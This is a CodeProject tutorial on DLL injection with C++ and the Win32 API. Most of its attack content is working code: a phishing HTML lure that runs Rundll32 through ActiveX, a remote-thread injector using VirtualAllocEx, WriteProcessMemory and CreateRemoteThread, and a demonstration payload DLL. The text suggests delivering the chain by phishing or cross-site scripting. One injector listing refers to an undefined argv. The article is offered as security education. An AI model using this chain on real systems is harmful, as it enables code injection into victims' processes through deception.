Click here to Skip to main content
65,938 articles
CodeProject is changing. Read more.
Articles / security / cryptography

Inject DLL in Another Process using C++ Win32 Windows API

4.58/5 (9 votes)
20 Dec 2023CPOL4 min read 22.2K   423  
C++, Win32 API - Injecting DLL in a process
An injection attack can be used to add or remove information from a data stream. There are different injection attacks such as SQL injection, XML injection, DLL injection. This article explains DLL injection using C++ and Win32 Windows API.

Introduction

DLL injection has useful applications, including as data and program security. It can also be employed destructively, such as in worm or malware attacks. The process of writing code for DLL injection will be thoroughly covered in this post. This briefly discusses how malware operates as well, particularly in situations where we are using outdated or antiquated software.

Here is the complete output for injecting a malware into the target process using Internet Explorer.

Image 1

I have also updated the complete DLL Injection project along with the HTML file containing JavaScript (DLLInjection.zip).

Background

Professor Messer in his video explains about injection attack and introduces DLL injection.

https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/injection-attacks/

So I thought of putting into action how DLL injection can be achieved using C++, Win32 Windows API developed using Visual C++. The actual DLL injection is explained in '5. How DLL injection works in C++ using Win32 API'.

Using the Code

1. Injecting DLL using JavaScript with Browser

We need two DLLs, VirusDLL.dll and DllInjectorAsDll.dll. I've provided instructions below on how to create these two DLLs. These two DLLs need to be downloaded via malware to the victim's PC in the C:\Temp directory. Using JavaScript, I invoked Rundll32.exe from an HTML file; the HTML code is as follows. In situations involving passive or active cross-site scripting (XSS), you can also utilize the JavaScript indicated below.

HTML
<!DOCTYPE html>
<html>
<body>

<script>
function LaunchApp() {
    var ws = new ActiveXObject("WScript.Shell");
    ws.Exec("Rundll32.exe C:\\Temp\\DllInjectorAsDll.dll HelperFunc 68928");
}
</script>

<h1>QUICK, press for PRIZE!</h1>

<button type="button" onclick="LaunchApp()">Click Me!</button>
 
</body>
</html>

The third option is the process id of the target process. This ID can either be enumerated or dynamically assigned. The output of the code appears at the top of the page. After hosting this page, we can send this URL link as a part of a phishing attack. Please be aware that the HTML code above is only compatible with older browsers, such as Internet Explorer. This HTML code is not supported by the most recent versions of browsers, including Microsoft Edge and Google Chrome.

2. Simple VirusDLL

Let's create a simple DLL named "VirusDLL" with one function Attack() that will be called at the time when this DLL attaches to any process.

C++
#include <windows.h>
#include <winerror.h>
#include <psapi.h>

void Attack()
{
    char szProcessName[128];
    GetModuleBaseNameA(GetCurrentProcess(), NULL, szProcessName, sizeof(szProcessName));
    MessageBoxA(NULL, "BOOM!", szProcessName, MB_OK);
}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpvReserved)  // reserved
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        // Initialize once for each new process.
        Attack();
        break;

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        if (lpvReserved != nullptr)
        {
            break; // do not do cleanup if process termination scenario
        }
        break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}

3. Loading VirusDLL

Any process with the required authorization can have the DLL injected into it. The majority of the process will be authorized for injection. The code to construct the target process is as follows. It just counts the number and displays it on the screen repeatedly.

C++
#include <Windows.h>
#include <winerror.h>

int main()
{
    // You also specify the complete path as LoadLibrary(LC:\Temp\VirusDLL.dll").
    LoadLibrary(L"C:\\Temp\\VirusDLL.dll");
    return 0;
}

Run the above code and the output of the screen is as follows. But this is not the way to inject the DLL. This is just only to test the virusdll.dll.

LoadLibrary

4. Creating Target Process where We Need to Inject VirusDLL

You can inject the DLL in any process that has proper permission. Most of the process will have injection permission. Let's create a target process that simply counts the number and display on the screen in a loop, and the code is as follows:

C++
#include <Windows.h>
#include <winerror.h>

#include <stdio.h>

int main()
{
    int i = 0;
    while (true)
    {
        printf("Processing - %d\n", i++);
        Sleep(1000);
    }
    return 0;
}    

The output is as follows:

TargetProcess

5. How DLL Injection Works in C++ using Win32 API

In order to inject a DLL in any process (for example, TargetProcess.exe), we use another process called injector; in this example, we use DllInjectorAsProcess.exe. It is a four-step process as shown in the image below:

DllInjectionFlow

The C++ code for injecting the code is below and the code is self-explanatory. In all the cases, we need process handle.

C++
#include <Windows.h>
#include <winerror.h>

#include <stdio.h>

int main(int argc, char* argv[])
{
    char szDLLPathToInject[] = { "VirusDLL.dll" };
    int nDLLPathLen = lstrlenA(szDLLPathToInject);
    int nTotBytesToAllocate = nDLLPathLen + 1; // including NULL character.

    // 0. Open The process
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | 
                      PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, atoi(argv[1]));

    // 1. Alocate heap memory in remote process
    LPVOID lpHeapBaseAddress1 = VirtualAllocEx(hProcess, NULL, 
                                nTotBytesToAllocate, MEM_COMMIT, PAGE_READWRITE);

    // 2. Write the DLL path in the remote allocated heap memory.
    SIZE_T lNumberOfBytesWritten = 0;
    WriteProcessMemory(hProcess, lpHeapBaseAddress1, 
                       szDLLPathToInject, nTotBytesToAllocate, &lNumberOfBytesWritten);

    // 3.0. Get the starting address of the function LoadLibrary 
    // which is available in kernal32.dll
    LPTHREAD_START_ROUTINE lpLoadLibraryStartAddress = 
             (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), 
              "LoadLibraryA");

    // 3.1. Call LoadLibraryin remote process and pass the remote heap memory 
    // which contains the dll path to load.
    CreateRemoteThread(hProcess, NULL, 0, lpLoadLibraryStartAddress, 
                       lpHeapBaseAddress1, 0, NULL);

    CloseHandle(hProcess);
    return 0;
}

6. DLL Injection Code as DLL

We will convert the above code as DLL DllInjectorAsDLL.DLL.

C++
#include <Windows.h>
#include <winerror.h>

void DllInjector(DWORD dwProcessID)
{
    wchar_t wszBuff[100];
    char szDLLPathToInject[] = { "VirusDLL.dll" };
    int nDLLPathLen = lstrlenA(szDLLPathToInject);
    int nTotBytesToAllocate = nDLLPathLen + 1; // including NULL character.

    // 0. Open The process
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | 
           PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, atoi(argv[1]));

    // 1. Alocate heap memory in remote process
    LPVOID lpHeapBaseAddress1 = VirtualAllocEx
           (hProcess, NULL, nTotBytesToAllocate, MEM_COMMIT, PAGE_READWRITE);

    // 2. Write the DLL path in the remote allocated heap memory.
    SIZE_T lNumberOfBytesWritten = 0;
    WriteProcessMemory(hProcess, lpHeapBaseAddress1, 
         szDLLPathToInject, nTotBytesToAllocate, &lNumberOfBytesWritten);

    // 3.0. Get the starting address of the function LoadLibrary 
    // which is available in kernal32.dll
    LPTHREAD_START_ROUTINE lpLoadLibraryStartAddress = (LPTHREAD_START_ROUTINE)
             GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");

    // 3.1. Call LoadLibraryin remote process and pass the remote heap memory 
    // which contains the dll path to load.
    CreateRemoteThread(hProcess, NULL, 0, lpLoadLibraryStartAddress, 
                       lpHeapBaseAddress1, 0, NULL);

    CloseHandle(hProcess);
}

extern "C"
{
    __declspec(dllexport) void WINAPI HelperFunc
              (HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
    {
        DllInjector(atoi(lpszCmdLine));
    }
}

// There is no need for DLL main.

However, because it is a library, the DLL itself cannot run; instead, another process must load the library and call the function found inside. The exported/public function in the code above is called HelperFunc, and the internal/private function is called DllInjector. It is not possible to invoke the private functions directly. DllInjector function will be activated by calling HelperFunc. Rundll32.exe can be used to load this library in place of creating a new program.

Rundll32.exe is a Microsoft-signed binary used to load dynamic link libraries (DLLs) in Windows. It is native to Windows and present in both 32 and 64 bit versions, respectively present in these places:

In order to load the above injector DLL and call the HelperFun, we can call in the Windows shell prompt as follows:

// Rundll32.exe <Dll file path> <Exported function> <parameter/process id>
Rundll32.exe C:\\Temp\\DllInjectorAsDll.dll HelperFunc 68928 

The above code is used in JavaScript to call the injector (DllInjectorAsDll.dll) using Rundll32.exe which will inject VirusDLL.dll. The two DLL's VirusDll.dll and DllInjectorAsDll.dll should both be available in C:\Temp\ folder.

7. Conclusion

Always have your browsers or even software updated. You can download the entire project build using VS 2019.

History

  • 12th December, 2023: Initial version

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)